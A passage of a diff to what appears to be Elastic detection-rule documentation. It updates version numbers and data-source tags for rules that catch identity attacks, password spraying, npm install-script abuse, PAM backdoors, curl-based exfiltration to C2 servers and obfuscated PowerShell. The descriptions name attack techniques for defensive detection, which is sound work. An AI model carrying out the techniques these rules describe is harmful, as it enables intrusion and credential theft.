Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |7 |<> |Detects a sequence of events in Microsoft Entra ID indicative of a suspicious cloud-based device registration, potentially using ROADtools. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools, a popular red team toolkit, often leaves distinct telemetry signatures such as the `Microsoft.OData.Client` user agent and specific OS version values. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 -|<> |Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. |[Domain: Cloud], [Domain: Identity], [Domain: API], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Data Source: Microsoft Graph], [Data Source: Microsoft Graph Activity Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion], [Tactic: Initial Access] |None |5 +|<> |Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. |[Domain: Cloud], [Domain: Identity], [Domain: API], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Data Source: Microsoft Graph], [Data Source: Microsoft Graph Activity Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion], [Tactic: Initial Access] |None |7 |<> |Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |3 @@ -1404,13 +1408,13 @@ and their rule type is `machine_learning`. |<> |This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. |[Use Case: Threat Detection], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |6 -|<> |This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Domain: SaaS], [Resources: Investigation Guide] |None |308 +|<> |This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Domain: SaaS], [Resources: Investigation Guide] |None |310 |<> |Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |115 |<> |Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |114 -|<> |Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |4 +|<> |Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |6 |<> |Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Protection Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |2 @@ -1418,9 +1422,9 @@ and their rule type is `machine_learning`. |<> |Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |210 -|<> |Detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |207 +|<> |Detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |209 -|<> |Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |207 +|<> |Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |209 |<> |Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |115 @@ -1490,7 +1494,7 @@ and their rule type is `machine_learning`. |<> |Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. |[Domain: Cloud], [Data Source: Microsoft 365], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |211 -|<> |This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |1 +|<> |This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |2 |<> |Nping ran on a Linux host. Nping is part of the Nmap tool suite and has the ability to construct raw packets for a wide variety of security testing applications, including denial of service testing. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |212 @@ -1502,7 +1506,7 @@ and their rule type is `machine_learning`. |<> |Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. |[Domain: Cloud], [Data Source: Microsoft 365], [Tactic: Initial Access], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210 -|<> |Detects a change to the OpenID Connect (OIDC) discovery URL in the Entra ID Authentication Methods Policy. This behavior may indicate an attempt to federate Entra ID with an attacker-controlled identity provider, enabling bypass of multi-factor authentication (MFA) and unauthorized access through bring-your-own IdP (BYOIDP) methods. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |4 +|<> |Detects a change to the OpenID Connect (OIDC) discovery URL in the Entra ID Authentication Methods Policy. This behavior may indicate an attempt to federate Entra ID with an attacker-controlled identity provider, enabling bypass of multi-factor authentication (MFA) and unauthorized access through bring-your-own IdP (BYOIDP) methods. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |6 |<> |Identifies the modification of the Microsoft Office "Office Test" Registry key, a registry location that can be used to specify a DLL which will be executed every time an MS Office application is started. Attackers can abuse this to gain persistence on a compromised host. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Data Source: Sysmon], [Resources: Investigation Guide] |None |107 @@ -1516,7 +1520,7 @@ and their rule type is `machine_learning`. |<> |A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. |[Use Case: Identity and Access Audit], [Tactic: Credential Access], [Data Source: Okta], [Resources: Investigation Guide] |None |414 -|<> |Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Initial Access], [Resources: Investigation Guide] |None |308 +|<> |Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Initial Access], [Resources: Investigation Guide] |None |310 |<> |Identifies the occurence of files uploaded to OneDrive being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries opportunity to gain initial access to other endpoints in the environment. |[Domain: Cloud], [Data Source: Microsoft 365], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |210 @@ -1574,7 +1578,7 @@ and their rule type is `machine_learning`. |<> |This rule detects the creation of Pluggable Authentication Module (PAM) shared object files in unusual directories. Attackers may compile PAM shared object files in temporary directories, to move them to system directories later, potentially allowing them to maintain persistence on a compromised system, or harvest account credentials. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |104 -|<> |This rule detects the usage of `curl` or `wget` to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |4 +|<> |This rule detects the usage of `curl` or `wget` to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |5 |<> |This rule detects PAM version discovery activity on Linux systems. PAM version discovery can be an indication of an attacker attempting to backdoor the authentication process through malicious PAM modules. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Tactic: Persistence], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |105 @@ -1592,7 +1596,7 @@ and their rule type is `machine_learning`. |<> |Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with a common ransomware note file name or extension such as ransom or .lock. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |7 -|<> |Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Potential Overload], [Use Case: Resource Exhaustion], [Mitre Atlas: LLM04], [Resources: Investigation Guide] |None |5 +|<> |Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Potential Overload], [Use Case: Resource Exhaustion], [Mitre Atlas: LLM04], [Resources: Investigation Guide] |None |7 |<> |Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |108 @@ -1602,7 +1606,7 @@ and their rule type is `machine_learning`. |<> |The Application Shim was created to allow for backward compatibility of software as the operating system codebase changes over time. This Windows functionality has been abused by attackers to stealthily gain persistence and arbitrary code execution in legitimate Windows processes. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |316 -|<> |Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions. |[Domain: LLM], [Data Source: Azure OpenAI], [Data Source: Azure Event Hubs], [Use Case: Model Theft], [Mitre Atlas: T0044], [Resources: Investigation Guide] |None |3 +|<> |Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions. |[Domain: LLM], [Data Source: Azure OpenAI], [Data Source: Azure Event Hubs], [Use Case: Model Theft], [Mitre Atlas: T0044], [Resources: Investigation Guide] |None |5 |<> |This rule detects SSH session ID change followed by a suspicious SSHD child process, this may indicate the successful execution of a potentially malicious process through the Pluggable Authentication Module (PAM) utility. PAM is a framework used by Linux systems to authenticate users. Adversaries may create malicious PAM modules that grant them persistence onto the target every time a user logs in by executing a backdoor script or command. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 @@ -1616,7 +1620,7 @@ and their rule type is `machine_learning`. |<> |This rule looks for processes that behave like an attacker trying to exploit a known vulnerability in VMware tools (CVE-2025-41244). The vulnerable behavior involves the VMware tools service or its discovery scripts executing other programs to probe their version strings. An attacker can place a malicious program in a writable location (for example /tmp) and have the tools execute it with elevated privileges, resulting in local privilege escalation. The rule flags launches where vmtoolsd or the service discovery scripts start other child processes. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Use Case: Vulnerability], [Resources: Investigation Guide] |None |1 -|<> |Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Domain: Container], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |106 +|<> |Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Domain: Container], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |107 |<> |This rule monitors for suspicious activities that may indicate an attacker attempting to execute arbitrary code within a PostgreSQL environment. Attackers can execute code via PostgreSQL as a result of gaining unauthorized access to a public facing PostgreSQL database or exploiting vulnerabilities, such as remote command execution and SQL injection attacks, which can result in unauthorized access and malicious actions, and facilitate post-exploitation activities for unauthorized access and malicious actions. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |11 @@ -1656,7 +1660,7 @@ and their rule type is `machine_learning`. |<> |A machine learning job has detected data exfiltration to a particular geo-location (by region name). Data transfers to geo-locations that are outside the normal traffic patterns of an organization could indicate exfiltration over command and control channels. |[Use Case: Data Exfiltration Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |7 -|<> |Detects the use of curl to upload an archived file to an internet server. Threat actors often will collect data on a system and compress it in an archive file before exfiltrating the file back to their C2 server for review. Many threat actors have been seen utilizing curl to upload this archive file with the collected data to do this. Use of curl in this way while not inherently malicious should be considered highly abnormal and suspicious activity. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Exfiltration], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |Detects the use of curl to upload an archived file to an internet server. Threat actors often will collect data on a system and compress it in an archive file before exfiltrating the file back to their C2 server for review. Many threat actors have been seen utilizing curl to upload this archive file with the collected data to do this. Use of curl in this way while not inherently malicious should be considered highly abnormal and suspicious activity. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Exfiltration], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |This rule looks for the usage of common data splitting utilities with specific arguments that indicate data splitting for exfiltration on Linux systems. Data splitting is a technique used by adversaries to split data into smaller parts to avoid detection and exfiltrate data. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Exfiltration], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 @@ -1666,13 +1670,13 @@ and their rule type is `machine_learning`. |<> |Identifies the execution of the PRoot utility, an open-source tool for user-space implementation of chroot, mount --bind, and binfmt_misc. Adversaries can leverage an open-source tool PRoot to expand the scope of their operations to multiple Linux distributions and simplify their necessary efforts. In a normal threat scenario, the scope of an attack is limited by the varying configurations of each Linux distribution. With PRoot, it provides an attacker with a consistent operational environment across different Linux distributions, such as Ubuntu, Fedora, and Alpine. PRoot also provides emulation capabilities that allow for malware built on other architectures, such as ARM, to be run.The post-exploitation technique called bring your own filesystem (BYOF), can be used by the threat actors to execute malicious payload or elevate privileges or perform network scans or orchestrate another attack on the environment. Although PRoot was originally not developed with malicious intent it can be easily tuned to work for one. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |111 -|<> |Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls. |[Domain: LLM], [Data Source: Azure OpenAI], [Data Source: Azure Event Hubs], [Use Case: Denial of Service], [Mitre Atlas: T0029], [Resources: Investigation Guide] |None |3 +|<> |Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls. |[Domain: LLM], [Data Source: Azure OpenAI], [Data Source: Azure Event Hubs], [Use Case: Denial of Service], [Mitre Atlas: T0029], [Resources: Investigation Guide] |None |5 |<> |This rule monitors for potential attempts to disable AppArmor. AppArmor is a Linux security module that enforces fine-grained access control policies to restrict the actions and resources that specific applications and processes can access. Adversaries may disable security tools to avoid possible detection of their tools and activities. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |111 |<> |Identifies potential attempts to disable Security-Enhanced Linux (SELinux), which is a Linux kernel security feature to support access control policies. Adversaries may disable security tools to avoid possible detection of their tools and activities. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |214 -|<> |Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command at runtime using indexed slices of environment variables. This technique leverages character access and join operations to build execution logic dynamically, bypassing static keyword detection and evading defenses such as AMSI. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |4 +|<> |Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command at runtime using indexed slices of environment variables. This technique leverages character access and join operations to build execution logic dynamically, bypassing static keyword detection and evading defenses such as AMSI. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |6 |<> |Identifies processes loading Active Directory related modules followed by a network connection to the ADWS dedicated TCP port. Adversaries may abuse the ADWS Windows service that allows Active Directory to be queried via this web service. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5 @@ -1702,7 +1706,7 @@ and their rule type is `machine_learning`. |<> |Identifies the Foxmail client spawning a child process with argument pointing to the Foxmail temp directory. This may indicate the successful exploitation of a Foxmail vulnerability for initial access and execution via a malicious email. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Windows Security Event Logs], [Data Source: Elastic Endgame], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |206 -|<> |This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |This rule detects potential hex payload execution on Linux systems. Adversaries may use hex encoding to obfuscate payloads and evade detection mechanisms. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 @@ -1756,9 +1760,9 @@ and their rule type is `machine_learning`. |<> |Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1 -|<> |Identifies PowerShell script blocks associated with multiple distinct detections, indicating likely malicious behavior. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |2 +|<> |Identifies PowerShell script blocks associated with multiple distinct detections, indicating likely malicious behavior. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |4 -|<> |This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 |<> |Identifies suspicious instances of browser processes, such as unsigned or signed with unusual certificates, that can indicate an attempt to conceal malicious activity, bypass security features such as allowlists, or trick users into executing malware. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Rule Type: BBR], [Data Source: Elastic Defend] |None |9 @@ -1776,7 +1780,7 @@ and their rule type is `machine_learning`. |<> |This detection rule identifies a sample of suspicious Linux system file reads used for system fingerprinting, leveraged by the Metasploit Meterpreter shell to gather information about the target that it is executing its shell on. Detecting this pattern is indicative of a successful meterpreter shell connection. |[Data Source: Auditd Manager], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |10 -|<> |Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |414 +|<> |Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 